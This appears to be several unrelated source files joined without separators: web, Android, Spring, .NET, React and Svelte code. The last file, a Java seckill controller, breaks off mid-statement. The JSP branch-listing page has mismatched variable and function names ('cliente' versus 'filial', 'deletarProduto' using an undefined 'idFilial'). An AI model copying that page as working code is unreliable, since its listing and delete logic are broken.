<%-- Document : visulizarCliente Created on : 24 de out de 2021, 21:45:40 Author : Felype --%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <!DOCTYPE html> <html> <head> <c:import url="../uteis/header-import.jsp"/> <title>Listar Filial</title> </head> <body class=""> <c:import url="../uteis/menuLateral.jsp"/> <div class="pc-container"> <div class="pcoded-content"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <h3>Listar Filial</h3> </div> <div class="card-body table-border-style"> <form class="form-group" action="${pageContext.request.contextPath}/filial/cadastrarFilial.jsp"> <button type="submit" class="btn btn-sm btn-success">+ Nova Filial</button> </form> <div class="table-responsive"> <table class="display table table-hover table-striped pt-2" style="width:100%"> <thead> <tr> <th>#</th> <th>Nome Filial</th> <th>CEP</th> <th>Cidade</th> <th>Estado</th> <th>Funções</th> </tr> </thead> <tbody> <c:forEach var="cliente" items="${listaClientes}"> <tr> <td>${filial.idFilial}</td> <td>${filial.nome}</td> <td>${filial.cep}</td> <td>${filial.cidade}</td> <td>${filial.uf}</td> <td> <a class="btn btn-sm btn-icon btn-info" href="#" data-toggle="modal" data-target="#viewFilialModal"><i data-feather="eye"></i></a> <a class="btn btn-sm btn-icon btn-warning" href="CadastroFilialServlet?idFilial=${cliente.idCliente}&operacaoGetFilial=1"><i data-feather="edit"></i></a> <a class="btn btn-sm btn-icon btn-danger" href="#" data-toggle="modal" data-target="#deleteFilialModal"><i data-feather="x"></i></a> </td> </tr> </c:forEach> <tr> <td>1</td> <td>Matriz - São Paulo</td> <td>04447999</td> <td>São Paulo</td> <td>SP</td> <td> <a class="btn btn-sm btn-icon btn-info" href="#" data-toggle="modal" data-target="#viewFilialModal"><i data-feather="eye"></i></a> <a class="btn btn-sm btn-icon btn-warning" href="CadastroFilialServlet?idFilial=${cliente.idCliente}&operacaoGetFilial=1"><i data-feather="edit"></i></a> <a class="btn btn-sm btn-icon btn-danger" href="#" data-toggle="modal" data-target="#deleteFilialModal"><i data-feather="x"></i></a> </td> </tr> </tbody> </table> </div> <!-- Modals --> <!-- Modal Delete --> <div class="modal fade" id="deleteFilialModal" tabindex="-1" aria-labelledby="deleteFilialModalLabel" aria-hidden="true"> <div class="modal-dialog modal-fullscreen-md-down"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title h4" id="deleteFilialModalLabel">Atenção!</h5> <button type="button" class="btn-close" data-dismiss="modal" aria-label="Close"> </button> </div> <div class="modal-body"> <p>Tem certeza que deseja excluir esse registro? </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-danger" data-dismiss="modal" onclick="deletarFilial('${filial.idFilial}')">Excluir</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Cancelar</button> </div> </div> </div> </div> <!-- Modal View --> <div class="modal fade" id="viewFilialModal" tabindex="-1" aria-labelledby="viewFilialModalLabel" aria-hidden="true"> <div class="modal-dialog modal-fullscreen p-25"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title h4" id="viewFilialModalLabel">Visualização de dados da filial</h5> <button type="button" class="btn-close" data-dismiss="modal" aria-label="Close"> </button> </div> <div class="modal-body"> <form class="row g-3 needs-validation"> <div class="col-md-6 position-relative"> <label for="vNomeFilial" class="form-label">Nome Completo</label> <input type="text" class="form-control" name="vNomeFilial" readonly value="${filialAtualizacao.nome}"> </div> <div class="col-md-6 position-relative"> <label for="vLogradouroFilial" class="form-label">Lougradouro</label> <input type="text" class="form-control" name="vLogradouroFilial" readonly value="${filialAtualizacao.lougradouro}"> </div> <div class="col-md-2 position-relative"> <label for="vNumeroFilial" class="form-label">Número</label> <input type="text" class="form-control" name="vNumeroFilial" readonly value="${filialAtualizacao.numero}"> </div> <div class="col-md-2 position-relative"> <label for="vCepFilial" class="form-label">CEP</label> <input type="text" class="form-control" name="vCepFilial" readonly value="${filialAtualizacao.cep}"> </div> <div class="col-md-4 position-relative"> <label for="vBairroFilial" class="form-label">Bairro</label> <input type="text" class="form-control" name="vBairroFilial" readonly value="${filialAtualizacao.bairro}"> </div> <div class="col-md-4 position-relative"> <label class="form-label" for="vCidadeFilial">Cidade</label> <input type="text" class="form-control" name="vCidadeFilial" readonly value="${filialAtualizacao.cidade}"> </div> <div class="col-md-2 position-relative"> <label class="form-label" for="vUfFilial">Estado</label> <input type="text" class="form-control" name="vUfFilial" readonly value="${filialAtualizacao.uf}"> </div> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" data-dismiss="modal">Fechar</button> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </body> <c:import url="../uteis/footer-import.jsp"/> <c:import url="../uteis/data-table-import.jsp"/> <script type="text/javascript"> function deletarProduto(idProduto) { console.log("Excluindo filial ", idFilial); var url = "CadastroFilialServlet?idFilial=" + idFilial; $.ajax(url).done(function () { console.log("Filial removida!"); var alerta = $("#alertaFilial"); alerta.css("display", "block"); setTimeout(function () { alerta.css("display", "none"); location.reload(); }, 1000) }).fail(function () { console.log("Erro ao remover a filial!"); }) } </script> </html>
package com.example.vemprofut.ui import android.os.Bundle import androidx.fragment.app.Fragment import android.view.LayoutInflater import android.view.View import android.view.ViewGroup import com.example.vemprofut.R import com.example.vemprofut.databinding.FragmentAppJogadorBinding class AppJogadorFragment : Fragment() { private var _binding: FragmentAppJogadorBinding? = null private val binding get() = _binding!! override fun onCreateView( inflater: LayoutInflater, container: ViewGroup?, savedInstanceState: Bundle? ): View? { _binding = FragmentAppJogadorBinding.inflate(inflater, container, false) return binding.root } override fun onViewCreated(view: View, savedInstanceState: Bundle?) { super.onViewCreated(view, savedInstanceState) replaceFragment(HomeJogadorFragment()) binding.btnvMenuJogador.setOnItemSelectedListener { when(it.itemId){ R.id.menuHomeJogador -> { val homeFragment = HomeJogadorFragment() replaceFragment(homeFragment) } R.id.menuAgendaJogador -> { val mapaFragment = AgendamentosJogadorFragment() replaceFragment(mapaFragment) } R.id.menuPerfilJogador -> { val perfilFragment = PerfilJogadorFragment() replaceFragment(perfilFragment) } else -> { } } true } } private fun replaceFragment(fragment: Fragment) { // Use childFragmentManager para manipular fragments dentro de fragments val fragmentManager = childFragmentManager val fragmentTransaction = fragmentManager.beginTransaction() // Substituir o fragmento atual pelo novo fragmento fragmentTransaction.replace(R.id.flAppJogador, fragment) // Adicionar a transação à pilha de retrocesso //fragmentTransaction.addToBackStack(null) // Commit da transação fragmentTransaction.commit() } override fun onDestroyView() { super.onDestroyView() _binding = null } }
package com.shamsheev.wildberries.api.statistics.config import com.shamsheev.wildberries.api.statistics.model.ApiRequestResult import com.shamsheev.wildberries.api.statistics.model.ApiStatus import com.shamsheev.wildberries.api.statistics.model.ApiType import com.shamsheev.wildberries.api.statistics.service.ApiRequestResultService import org.springframework.beans.factory.annotation.Autowired import org.springframework.beans.factory.annotation.Value import org.springframework.boot.context.event.ApplicationReadyEvent import org.springframework.context.annotation.Configuration import org.springframework.context.event.EventListener import org.springframework.scheduling.annotation.EnableScheduling import java.time.LocalDateTime @Configuration @EnableScheduling class SchedulingConfig( @Autowired val apiRequestResultService: ApiRequestResultService, ) { @Value("\${wildberries.statistics.orders.startDate:2024-01-01T00:00:00.0}") private var ordersStartDate: String = "" @Value("\${wildberries.statistics.sales.startDate:2024-01-01T00:00:00.0}") private var salesStartDate: String = "" @Value("\${wildberries.statistics.report.startDate:2024-01-01T00:00:00.0}") private val reportStartDate: String = "" @Value("\${wildberries.statistics.incomes.startDate:2024-01-01T00:00:00.0}") private var incomesStartDate: String = "" @Value("\${wildberries.statistics.stocks.startDate:2020-01-01T00:00:00.0}") private val stocksStartDate: String = "" @EventListener(ApplicationReadyEvent::class) fun firstInitAfterStartup() { initFirstDate(ApiType.ORDERS, ordersStartDate) initFirstDate(ApiType.SALES, salesStartDate) initFirstDate(ApiType.INCOMES, incomesStartDate) initFirstDate(ApiType.STOCKS, stocksStartDate) initFirstDate(ApiType.REPORT, reportStartDate) } private fun initFirstDate( apiType: ApiType, startStr: String, ) { if (apiRequestResultService.isFirstStart(apiType)) { val startTime = LocalDateTime.parse(startStr) apiRequestResultService.save( ApiRequestResult( start = startTime, end = LocalDateTime.now(), apiType = apiType, apiStatus = ApiStatus.SUCCESS, errorMessage = "first init", count = 0, from = startTime ) ) } } }
package dev.hmmr.taxi.management.backend.spring.mapper; import static dev.hmmr.taxi.management.backend.spring.dummy.CustomerDummy.customerEntityWithId; import static dev.hmmr.taxi.management.backend.spring.dummy.CustomerDummy.customerWithId; import static dev.hmmr.taxi.management.backend.spring.dummy.LocationDummy.destinationEntityWithId; import static dev.hmmr.taxi.management.backend.spring.dummy.LocationDummy.destinationWithId; import static dev.hmmr.taxi.management.backend.spring.dummy.LocationDummy.startEntityWithId; import static dev.hmmr.taxi.management.backend.spring.dummy.LocationDummy.startWithId; import static dev.hmmr.taxi.management.backend.spring.dummy.TripDummy.tripEntityWithAllFieldsAndChilds; import static dev.hmmr.taxi.management.backend.spring.dummy.TripDummy.tripEntityWithAllFieldsBesidesId; import static dev.hmmr.taxi.management.backend.spring.dummy.TripDummy.tripWithAllFields; import static dev.hmmr.taxi.management.backend.spring.dummy.TripDummy.tripWithAllFieldsBesidesId; import static org.assertj.core.api.Assertions.assertThat; import static org.mockito.Mockito.when; import dev.hmmr.taxi.management.backend.spring.dummy.ShiftDummy; import dev.hmmr.taxi.management.backend.spring.model.TripEntity; import dev.hmmr.taxi.management.openapi.model.Trip; import lombok.AccessLevel; import lombok.experimental.FieldDefaults; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.mockito.Mock; import org.mockito.junit.jupiter.MockitoExtension; @ExtendWith(MockitoExtension.class) @FieldDefaults(level = AccessLevel.PRIVATE) class TripMapperTest { @Mock LocationMapper mockLocationMapper; @Mock CustomerMapper mockCustomerMapper; TripMapper tripMapperUnderTest; @BeforeEach void setUp() { tripMapperUnderTest = new TripMapper(mockLocationMapper, mockCustomerMapper); } @Test void testToEntity() { // Run the test final TripEntity result = tripMapperUnderTest.toEntity(ShiftDummy.ID, tripWithAllFieldsBesidesId()); // Verify the results assertThat(result).isEqualTo(tripEntityWithAllFieldsBesidesId()); } @Test void testFromEntity() { // Setup // Configure LocationMapper.fromEntity(...). when(mockLocationMapper.fromEntity(startEntityWithId())).thenReturn(startWithId()); when(mockLocationMapper.fromEntity(destinationEntityWithId())).thenReturn(destinationWithId()); // Configure CustomerMapper.fromEntity(...). when(mockCustomerMapper.fromEntity(customerEntityWithId())).thenReturn(customerWithId()); // Run the test final Trip result = tripMapperUnderTest.fromEntity(tripEntityWithAllFieldsAndChilds()); // Verify the results assertThat(result).isEqualTo(tripWithAllFields()); } }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.RazorPages; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.EntityFrameworkCore; using AgentieTurism.Data; using AgentieTurism.Models; namespace AgentieTurism.Pages.Offers { public class EditModel : PageModel { private readonly AgentieTurism.Data.AgentieTurismContext _context; public EditModel(AgentieTurism.Data.AgentieTurismContext context) { _context = context; } [BindProperty] public Offer Offer { get; set; } public async Task<IActionResult> OnGetAsync(int? id) { if (id == null) { return NotFound(); } Offer = await _context.Offer.FirstOrDefaultAsync(m => m.Id == id); if (Offer == null) { return NotFound(); } ViewData["TimePeriods"] = GetTimePeriods(); ViewData["MealTypes"] = GetMealTypes(); return Page(); } // To protect from overposting attacks, enable the specific properties you want to bind to. // For more details, see https://aka.ms/RazorPagesCRUD. public async Task<IActionResult> OnPostAsync() { if (!ModelState.IsValid) { ViewData["TimePeriods"] = GetTimePeriods(); ViewData["MealTypes"] = GetMealTypes(); return Page(); } _context.Attach(Offer).State = EntityState.Modified; try { await _context.SaveChangesAsync(); } catch (DbUpdateConcurrencyException) { if (!OfferExists(Offer.Id)) { return NotFound(); } else { throw; } } return RedirectToPage("./Index"); } private bool OfferExists(int id) { return _context.Offer.Any(e => e.Id == id); } private SelectList GetTimePeriods() { var periods = from Period g in Enum.GetValues(typeof(Period)) select new { ID = (int)g, Name = g.ToString() }; return new SelectList(periods, "ID", "Name"); } private SelectList GetMealTypes() { var mealTypes = from MealType g in Enum.GetValues(typeof(MealType)) select new { ID = (int)g, Name = g.ToString() }; return new SelectList(mealTypes, "ID", "Name"); } } }
import { memo, useMemo } from 'react' import { I18nManager } from 'react-native' import { SharedValue, useDerivedValue } from 'react-native-reanimated' import { LineChart, LineChartProvider } from 'react-native-wagmi-charts' import PriceExplorerAnimatedNumber from 'src/components/PriceExplorer/PriceExplorerAnimatedNumber' import { PriceExplorerError } from 'src/components/PriceExplorer/PriceExplorerError' import { DatetimeText, RelativeChangeText } from 'src/components/PriceExplorer/Text' import { TimeRangeGroup } from 'src/components/PriceExplorer/TimeRangeGroup' import { CURSOR_INNER_SIZE, CURSOR_SIZE } from 'src/components/PriceExplorer/constants' import { useChartDimensions } from 'src/components/PriceExplorer/useChartDimensions' import { useLineChartPrice } from 'src/components/PriceExplorer/usePrice' import { Loader } from 'src/components/loading' import { Flex, HapticFeedback } from 'ui/src' import { spacing } from 'ui/src/theme' import { HistoryDuration } from 'uniswap/src/data/graphql/uniswap-data-api/__generated__/types-and-hooks' import { useAppFiatCurrencyInfo } from 'wallet/src/features/fiatCurrency/hooks' import { useLocalizationContext } from 'wallet/src/features/language/LocalizationContext' import { CurrencyId } from 'wallet/src/utils/currencyId' import { PriceNumberOfDigits, TokenSpotData, useTokenPriceHistory } from './usePriceHistory' type PriceTextProps = { loading: boolean relativeChange?: SharedValue<number> numberOfDigits: PriceNumberOfDigits spotPrice?: SharedValue<number> } function PriceTextSection({ loading, numberOfDigits, spotPrice }: PriceTextProps): JSX.Element { const price = useLineChartPrice(spotPrice) const currency = useAppFiatCurrencyInfo() const mx = spacing.spacing12 return ( <Flex mx={mx}> <PriceExplorerAnimatedNumber currency={currency} numberOfDigits={numberOfDigits} price={price} /> <Flex row gap="$spacing4"> <RelativeChangeText loading={loading} /> <DatetimeText loading={loading} /> </Flex> </Flex> ) } export type LineChartPriceAndDateTimeTextProps = { currencyId: CurrencyId } export const PriceExplorer = memo(function PriceExplorer({ currencyId, tokenColor, forcePlaceholder, onRetry, }: { currencyId: string tokenColor?: string forcePlaceholder?: boolean onRetry: () => void }): JSX.Element { const { data, loading, error, refetch, setDuration, selectedDuration, numberOfDigits } = useTokenPriceHistory(currencyId) const { convertFiatAmount } = useLocalizationContext() const conversionRate = convertFiatAmount().amount const shouldShowAnimatedDot = selectedDuration === HistoryDuration.Day || selectedDuration === HistoryDuration.Hour const additionalPadding = shouldShowAnimatedDot ? 40 : 0 const { lastPricePoint, convertedPriceHistory } = useMemo(() => { const priceHistory = data?.priceHistory?.map((point) => { return { ...point, value: point.value * conversionRate } }) const lastPoint = priceHistory ? priceHistory.length - 1 : 0 return { lastPricePoint: lastPoint, convertedPriceHistory: priceHistory } }, [data, conversionRate]) const convertedSpotValue = useDerivedValue(() => conversionRate * (data?.spot?.value?.value ?? 0)) const convertedSpot = useMemo((): TokenSpotData | undefined => { return ( data?.spot && { ...data?.spot, value: convertedSpotValue, } ) }, [data, convertedSpotValue]) if ( !loading && (!convertedPriceHistory || (!convertedSpot && selectedDuration === HistoryDuration.Day)) ) { // Propagate retry up while refetching, if available const refetchAndRetry = (): void => { if (refetch) { refetch() } onRetry() } return <PriceExplorerError showRetry={error !== undefined} onRetry={refetchAndRetry} /> } let content: JSX.Element | null if (forcePlaceholder) { content = <PriceExplorerPlaceholder /> } else if (convertedPriceHistory?.length) { content = ( // TODO(MOB-2308): add better loading state <Flex opacity={!loading ? 1 : 0.35}> <PriceExplorerChart additionalPadding={additionalPadding} lastPricePoint={lastPricePoint} shouldShowAnimatedDot={shouldShowAnimatedDot} tokenColor={tokenColor} /> </Flex> ) } else { content = <PriceExplorerPlaceholder /> } return ( <LineChartProvider data={convertedPriceHistory ?? []} onCurrentIndexChange={HapticFeedback.light}> <Flex gap="$spacing8" overflow="hidden"> <PriceTextSection loading={loading} numberOfDigits={numberOfDigits} relativeChange={convertedSpot?.relativeChange} spotPrice={convertedSpot?.value} /> {content} <TimeRangeGroup setDuration={setDuration} /> </Flex> </LineChartProvider> ) }) function PriceExplorerPlaceholder(): JSX.Element { return ( <Flex my="$spacing24"> <Loader.Graph /> </Flex> ) } function PriceExplorerChart({ tokenColor, additionalPadding, shouldShowAnimatedDot, lastPricePoint, }: { tokenColor?: string additionalPadding: number shouldShowAnimatedDot: boolean lastPricePoint: number }): JSX.Element { const { chartHeight, chartWidth } = useChartDimensions() const isRTL = I18nManager.isRTL return ( // TODO(MOB-2166): remove forced LTR direction + scaleX horizontal flip technique once react-native-wagmi-charts fixes this: https://github.com/coinjar/react-native-wagmi-charts/issues/136 <Flex direction="ltr" my="$spacing24" style={{ transform: [{ scaleX: isRTL ? -1 : 1 }] }}> <LineChart height={chartHeight} width={chartWidth - additionalPadding} yGutter={20}> <LineChart.Path color={tokenColor} pathProps={{ isTransitionEnabled: false }}> {shouldShowAnimatedDot && ( <LineChart.Dot key={lastPricePoint} hasPulse // Sometimes, the pulse dot doesn't appear on the end of // the chart’s path, but on top of the container instead. // A little shift backwards seems to solve this problem. at={lastPricePoint - 0.1} color={tokenColor} inactiveColor="transparent" pulseBehaviour="while-inactive" pulseDurationMs={2000} size={5} /> )} </LineChart.Path> <LineChart.CursorLine color={tokenColor} minDurationMs={150} /> <LineChart.CursorCrosshair color={tokenColor} minDurationMs={150} outerSize={CURSOR_SIZE} size={CURSOR_INNER_SIZE} onActivated={HapticFeedback.light} onEnded={HapticFeedback.light} /> </LineChart> </Flex> ) }
using System; using System.Linq; using System.Text; using System.CodeDom.Compiler; using Microsoft.CSharp; using System.Reflection; using System.Collections.Generic; namespace SoftwareAcademy { public class Teacher : ITeacher { private List<ICourse> courses = new List<ICourse>(); public string Name { get; set; } public void AddCourse(ICourse course) { this.courses.Add(course); } public override string ToString() { StringBuilder res = new StringBuilder(); res.AppendFormat("Teacher: Name={0}", this.Name); if (this.courses.Count > 0) { res.Append("; Courses=["); foreach (var course in this.courses) { res.AppendFormat("{0}, ", course.Name); } res.Remove(res.Length - 2, 2); res.Append("]"); } return res.ToString(); } } public class OffsiteCourse : Course, IOffsiteCourse { public string Town { get; set; } public override string ToString() { string baseStr = base.ToString(); StringBuilder res = new StringBuilder(); res.Append(baseStr); res.AppendFormat("; Town={0}", this.Town); return res.ToString(); } } public class LocalCourse : Course, ILocalCourse { public string Lab { get; set; } public override string ToString() { string baseStr = base.ToString(); StringBuilder res = new StringBuilder(); res.Append(baseStr); res.AppendFormat("; Lab={0}", this.Lab); return res.ToString(); } } public abstract class Course : ICourse { public string Name { get; set; } public ITeacher Teacher { get; set; } private List<string> topics = new List<string>(); public void AddTopic(string topic) { this.topics.Add(topic); } public override string ToString() { StringBuilder res = new StringBuilder(); res.AppendFormat("{0}: Name={1}", this.GetType().Name, this.Name); if (this.Teacher != null) { res.AppendFormat("; Teacher={0}", this.Teacher.Name); } if (this.topics.Count > 0) { res.AppendFormat("; Topics=["); foreach (var topic in this.topics) { res.AppendFormat("{0}, ", topic); } res.Remove(res.Length - 2, 2); res.Append("]"); } return res.ToString(); } } public interface ITeacher { string Name { get; set; } void AddCourse(ICourse course); string ToString(); } public interface ICourse { string Name { get; set; } ITeacher Teacher { get; set; } void AddTopic(string topic); string ToString(); } public interface ILocalCourse : ICourse { string Lab { get; set; } } public interface IOffsiteCourse : ICourse { string Town { get; set; } } public interface ICourseFactory { ITeacher CreateTeacher(string name); ILocalCourse CreateLocalCourse(string name, ITeacher teacher, string lab); IOffsiteCourse CreateOffsiteCourse(string name, ITeacher teacher, string town); } public class CourseFactory : ICourseFactory { public ITeacher CreateTeacher(string name) { if (name == null) { throw new ArgumentNullException("Name cannot be null."); } else { ITeacher teacher = new Teacher(); teacher.Name = name; return teacher; } } public ILocalCourse CreateLocalCourse(string name, ITeacher teacher, string lab) { if (name == null || lab == null) { throw new ArgumentNullException("Error: Either name or lab are null."); } else { ILocalCourse course = new LocalCourse(); course.Name = name; course.Teacher = teacher; course.Lab = lab; return course; } } public IOffsiteCourse CreateOffsiteCourse(string name, ITeacher teacher, string town) { if (name == null || town == null) { throw new ArgumentNullException("Either name or town are null"); } else { IOffsiteCourse course = new OffsiteCourse(); course.Name = name; course.Teacher = teacher; course.Town = town; return course; } } } public class SoftwareAcademyCommandExecutor { static void Main() { string csharpCode = ReadInputCSharpCode(); CompileAndRun(csharpCode); } private static string ReadInputCSharpCode() { StringBuilder result = new StringBuilder(); string line; while ((line = Console.ReadLine()) != "") { result.AppendLine(line); } return result.ToString(); } static void CompileAndRun(string csharpCode) { // Prepare a C# program for compilation string[] csharpClass = { @"using System; using SoftwareAcademy; public class RuntimeCompiledClass { public static void Main() {" + csharpCode + @" } }" }; // Compile the C# program CompilerParameters compilerParams = new CompilerParameters(); compilerParams.GenerateInMemory = true; compilerParams.TempFiles = new TempFileCollection("."); compilerParams.ReferencedAssemblies.Add("System.dll"); compilerParams.ReferencedAssemblies.Add(Assembly.GetExecutingAssembly().Location); CSharpCodeProvider csharpProvider = new CSharpCodeProvider(); CompilerResults compile = csharpProvider.CompileAssemblyFromSource( compilerParams, csharpClass); // Check for compilation errors if (compile.Errors.HasErrors) { string errorMsg = "Compilation error: "; foreach (CompilerError ce in compile.Errors) { errorMsg += "\r\n" + ce.ToString(); } throw new Exception(errorMsg); } // Invoke the Main() method of the compiled class Assembly assembly = compile.CompiledAssembly; Module module = assembly.GetModules()[0]; Type type = module.GetType("RuntimeCompiledClass"); MethodInfo methInfo = type.GetMethod("Main"); methInfo.Invoke(null, null); } } }
<script lang="ts"> // @ts-nocheck import AccordionPanel from "./AccordionPanel.svelte"; import AccordionHeader from "./AccordionHeader.svelte"; import { panelInfoTypes } from "./AccordionTypes"; export let options: panelInfoTypes; export let headerLevel: number = 2; export let customStyles: string[]; export let isOpen: boolean; // this is to supply the data-state of the accordion item with expanded // when panel is open and collapsed when panel is closed let state: string; $: state = isOpen ? "expanded" : "collapsed"; </script> <!-- data-state tells if the accordion item is expanded or collapsed style takes the styles aupplied in the 2nd index of the custom styles array supplied in the options object --> <div class="accordion-item" data-state={state} style={customStyles[2]}> <!-- Header attributes: updatePanelStates function from Accordion Main headerTitle supplied in the panel info of the options object controls takes the id of the panel that the header button will control when clicked id is the unique id which will be passed to the header button textToRead provides the contents of the panel for screen reading ability of focus button style takes the styles string from the user supplied custom styles at the 0th index passing the reactive isOpen variable passing the headerLevel from the options object --> <AccordionHeader on:updatePanelStates headerTitle={options.headerTitle} controls={`panel${options.id}`} id={`button${options.id}`} textToRead={options.panelContent} style={customStyles[0]} {isOpen} {headerLevel} /> <!-- Panel attributes panelContent take the string of text to be displayed in the panel from the options object panelID set to panel with the appropriate id number labeledBy is supplied the id of the button that labels the panel style takes the 1st index string in the styles array supplied in options object passing the reactive isOpen vairable --> <AccordionPanel panelContent={options.panelContent} panelID={`panel${options.id}`} labeledBy={`button${options.id}`} style={customStyles[1]} {isOpen} /> </div> <!-- Default styles --> <style> .accordion-item { width: 50%; height: auto; } </style>
import 'package:dio/dio.dart'; import '../model/todo_item.dart'; class NetworkManager { late final Dio _dio; final baseUrl = 'https://5fdb-2400-9800-c35-2413-e56f-c8bc-eca6-c874.ngrok-free.app'; NetworkManager() { _dio = Dio(); } Future<List<TodoItem>> getTodosIsDone(bool isDone) async { final result = await _dio.get( '$baseUrl/todos?isDone=$isDone', ); return (result.data as List).map((e) => TodoItem.fromMap(e)).toList(); } Future<TodoItem> postData(TodoItem item) async { final result = await _dio.post( '$baseUrl/todos', data: item.toMap(), ); return TodoItem.fromMap(result.data); } Future<TodoItem> updateData(TodoItem item) async { final result = await _dio.put('$baseUrl/todos/${item.id}', data: item.toMap()); return TodoItem.fromMap(result.data); } Future<void> deleteData(TodoItem item) async { await _dio.delete( '$baseUrl/todos/${item.id}', ); } }
import { useNavigate } from "react-router-dom"; import moment from "moment"; import Dropdown from "@/components/Dropdown"; import classNames from "classnames/bind"; import styles from "./NumericalOrder.module.scss"; import { Button, Modal } from "antd"; import { useEffect, useState } from "react"; import { CloseIcon } from "@/components/Icons"; import { useAppDispatch } from "@/redux/store"; import { fetchAllService } from "@/redux/slices/serviceSlice"; import { useSelector } from "react-redux"; import { numericalSelectors, serviceSelectors, userSelectors, } from "@/redux/selectors"; import MessageNotify from "@/components/MessageNotify"; import { addNumerical, fetchSTTById, increaseSTT, } from "@/redux/slices/numericalSlice"; import pathSlice from "@/redux/slices/pathSlice"; import { convertTimeToString, formatNumber, findTheNextDays, convertStringToTimestamp, } from "@/utils"; import { IDropdown } from "@/interfaces"; const cx = classNames.bind(styles); const _EXPIRED: number = 1; const resource = ["Kiosk", "Hệ thống"]; function AddNewNumber() { const { loading } = useSelector(numericalSelectors); const { services } = useSelector(serviceSelectors); const { currentUser } = useSelector(userSelectors); const navigate = useNavigate(); const dispatch = useAppDispatch(); const [open, setOpen] = useState(false); const [valueSelected, setValueSelected] = useState<any>(null); const [prefix, setPrefix] = useState<any>({}); const [stt, setStt] = useState(""); const [serviceList, setServiceList] = useState<IDropdown[]>([ { label: "Tất cả", value: "Tất cả", }, ]); useEffect(() => { dispatch(fetchAllService()); let data: IDropdown[] = []; let objTemp = {}; services.forEach((service) => { data.push({ label: service.serviceName, value: service.serviceName, }); const obj = { [service.serviceName]: service.serviceCode }; Object.assign(objTemp, obj); }); setPrefix(objTemp); setServiceList(data); }, [services.length]); useEffect(() => { handleNumber(); }, [valueSelected]); const handleBackPage = () => { dispatch(pathSlice.actions.back()); navigate(-1); }; const handleNumber = async () => { const res = await dispatch(fetchSTTById(prefix[valueSelected])); if (res.payload !== undefined) { const formatted = formatNumber(res.payload); setStt(prefix[valueSelected] + formatted); } }; const handlePrintNumber = async () => { if (!valueSelected) { MessageNotify("error", "Bạn chưa chọn dịch vụ!", "topRight"); return; } const res = await dispatch( addNumerical({ stt, serviceCode: prefix[valueSelected], clientName: currentUser?.displayName, phone: currentUser?.phone, email: currentUser?.email, service: valueSelected, createdAt: convertStringToTimestamp( convertTimeToString(moment.now(), "YYYY/MM/DD HH:mm:ss") ), expired: convertStringToTimestamp( findTheNextDays( moment.now(), _EXPIRED, "days", "YYYY/MM/DD HH:mm:ss" ) ), status: "Đang chờ", resource: resource[Math.floor(Math.random() * 2)], }) ); if (res.payload) { dispatch( increaseSTT({ id: prefix[valueSelected], value: Number(stt.substring(3, stt.length)) + 1, }) ); setOpen(true); } else MessageNotify("error", "Đã có lỗi xảy ra!", "topRight"); }; const handleCloseModal = () => { setOpen(false); setValueSelected(null); }; return ( <div className={cx("wrapper")}> <h1 className={cx("heading")}>Quản lý cấp số</h1> <div className={cx("wrap-content")}> <h1 className={cx("sub-heading")}>CẤP SỐ MỚI</h1> <h3 className={cx("selected-service")}> Dịch vụ khách hàng lựa chọn </h3> <div className={cx("dropdown-service")}> <Dropdown options={serviceList} placeholder="Chọn dịch vụ" value={valueSelected} onChange={(value) => setValueSelected(String(value))} /> </div> <div className={cx("wrap-button")}> <button className={cx("btn-cancel", "btn btn-outline")} onClick={handleBackPage} > Hủy bỏ </button> <Button loading={loading} className={cx("btn-print", "btn btn-primary")} onClick={handlePrintNumber} > In số </Button> </div> </div> <Modal centered open={open} closable={false} onCancel={handleCloseModal} footer={null} className={cx("modal")} > <div className={cx("wrap-modal")}> <span className={cx("closed-btn")} onClick={handleCloseModal} > <CloseIcon /> </span> <div className={cx("body-modal")}> <h1 className={cx("header-title")}> Số thứ tự được cấp </h1> <div className={cx("number")}>{stt}</div> <p className={cx("selected")}> DV: {valueSelected} <strong> (tại quầy số 1)</strong> </p> </div> <div className={cx("footer-modal")}> <p> Thời gian cấp:{" "} <span className={cx("grant-time")}> {convertTimeToString(moment.now())} </span> </p> <p> Hạn sử dụng:{" "} <span className={cx("grant-time")}> {findTheNextDays(moment.now(), _EXPIRED)} </span> </p> </div> </div> </Modal> </div> ); } export default AddNewNumber;
package org.seckill.web; import org.seckill.dto.Exposer; import org.seckill.dto.SeckillExecution; import org.seckill.dto.SeckillResult; import org.seckill.entity.Seckill; import org.seckill.enums.SeckillStateEnum; import org.seckill.exception.RepeatKillException; import org.seckill.exception.SeckillCloseException; import org.seckill.service.SeckillService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.CookieValue; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import java.util.Date; import java.util.List; @Controller @RequestMapping("seckill") public class SeckillController { private final Logger logger = LoggerFactory.getLogger(this.getClass()); @Autowired private SeckillService seckillService; @RequestMapping(value = "list", method = RequestMethod.GET) public String list(Model model) { //获取秒杀列表 List<Seckill> list = seckillService.getSeckillList(); model.addAttribute("list", list); return "list"; } @RequestMapping(value ="/{seckillId}/detail", method = RequestMethod.GET) public String detail(@PathVariable("seckillId") Long seckillId, Model model) { System.out.println("seckillId: " + seckillId); if (seckillId == null) { return "redirect:/seckill/list"; } //获取秒杀详情 Seckill seckill = seckillService.getById(seckillId); if (seckill == null) { return "redirect:/seckill/list"; } model.addAttribute("seckill", seckill); return "detail"; } /** * 前台请求类型:post */ @RequestMapping(value="/{seckillId}/exposer", method=RequestMethod.POST) @ResponseBody public SeckillResult<Exposer> exposer(@PathVariable("seckillId") long seckillId) { SeckillResult<Exposer> result = null; try { Exposer exposer = seckillService.exportSeckillUrl(seckillId); result = new 